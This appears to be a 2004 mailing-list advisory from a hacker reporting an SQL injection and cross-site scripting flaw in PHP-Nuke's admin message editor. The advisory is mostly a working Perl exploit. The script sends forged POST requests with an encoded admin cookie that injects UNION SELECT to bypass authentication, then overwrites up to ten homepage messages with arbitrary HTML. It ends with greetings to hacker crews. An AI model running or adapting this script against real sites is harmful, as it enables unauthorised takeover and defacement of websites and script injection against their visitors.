Date: 14 Sep 2004 10:06:38 -0000
From: bima tampan <[email protected]>
To: [email protected]Subject: [XSS]/SQL Injection PHP-Nuke Edit/Save Message(s) Bug
[XSS]/SQL Injection PHP-Nuke Edit/Save Message(s) Bug by bima_
Php-Nuke is a popular freeware content management system.
Based on information at :
http://www.mantralab.org/modules.php/modulo/news/lanotizia/%5BXSS%5D+PHP-Nuke+7.4+Add+Message+Bug
http://www.securityfocus.com/archive/1/374542/2004-09-06/2004-09-12/0
An attacker permitted to post to global home-page messages, and/or then deleted them.
I found that we can edit and then saving the change of message(s) too.
I wrote a little perl script to prove it, i used POST method,
to avoid the current php-nuke protection.
This script will edit :
[+] message's title
[+] message's content
[+] message's expired to unlimited
[+] message's active to yes
[+] message's view to all visitors
and then save the change of message(s).
Here it is :
******cut here**************
#!/usr/bin/perl
#
use LWP;
$log = "pos_komen_phpnuke_savemsg.txt";
$Agent = "Mbahmubangga/1.0";
$proxy = "http://172.9.1.11:80/"; # proxy:port ...
$browser = LWP::UserAgent->new;
$browser -> agent($Agent);
$url = 'http://www.sitewithphpnuke.com/admin.php';
$browser->proxy(http => $proxy) if defined($proxy);
printlog ("\nProcessing: $url\n");
for ($a = 1; $a < 11 ; $a++) {
$mid=$a;
$loginpost = $url;
$loginrequest = HTTP::Request->new(POST => $loginpost);
$loginrequest->content_type('application/x-www-form-urlencoded');
$loginsend =
'title=<h1>JUST TESTING</h1>'.
'&content=you can put HTML format here, all up to you now, 1 liner of course, or multiple liner with dot'.
'&mlanguage='. #message language
'&expire=0'. #unlimited
'&active=1'. #yes
'&chng_date=0'.
'&view=1'. #all visitors
'&mdate='.
'&mid='.$mid. #the message id, commonly has value under 11
'&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'. #our magic ammo ==> x'%20UNION%20SELECT%201/*:1
'&add_radminsuper=1'. #the super user / G O D
'&op=savemsg'; #operation
$loginrequest->content-length($loginsend);
$loginrequest->content($loginsend);
$loginresponse = $browser->request($loginrequest);
$logincek = $loginresponse->as_string;
#print ($logincek);
if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length Required)/){
printlog ("$mid attempting edit and saving message sending OK ".$loginresponse->status_line ."\n") ;
}
else {
printlog ("Could be failure ".$loginresponse->status_line ."\n");
last;
}
} #end of for
sub printlog {
print @_[0];
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}
******cut here**************
And then you can see the log called : pos_komen_phpnuke_savemsg.txt
----------------------------------------------------------
*very very very special greetz to:
[+][+][+] my beloved anna [+][+][+]
*shout to dhanny firman syah : keep fighting, bro...
*special greetz to:
[+] www.neoteker.or.id
[+] www.echo.or.id
[+] www.bosen.net
[+] www.waraxe.us
[+] qq
[+] tiyox
[+] bosen
[+] ftp_geo
[+] tiong
[+] all #1stlink #neoteker #e-c-h-o #batamhacker #kartubeben #antihackerlink crew @ dal net
[+] all #1stlink #romance #hackers @ centrin
[+] sj, alphacentupret, fuzk3 kendi
[+] boeboe (dah kehabisan target yach...)
[+] y3d1ps, z3r0byt3, biatch-x, K-159, Cmaster4
*contact:
[+] iko94(at)yahoo(dot)com
[+] www.geocities.com/iko94
[+] www.neoteker.or.id
[EOF]
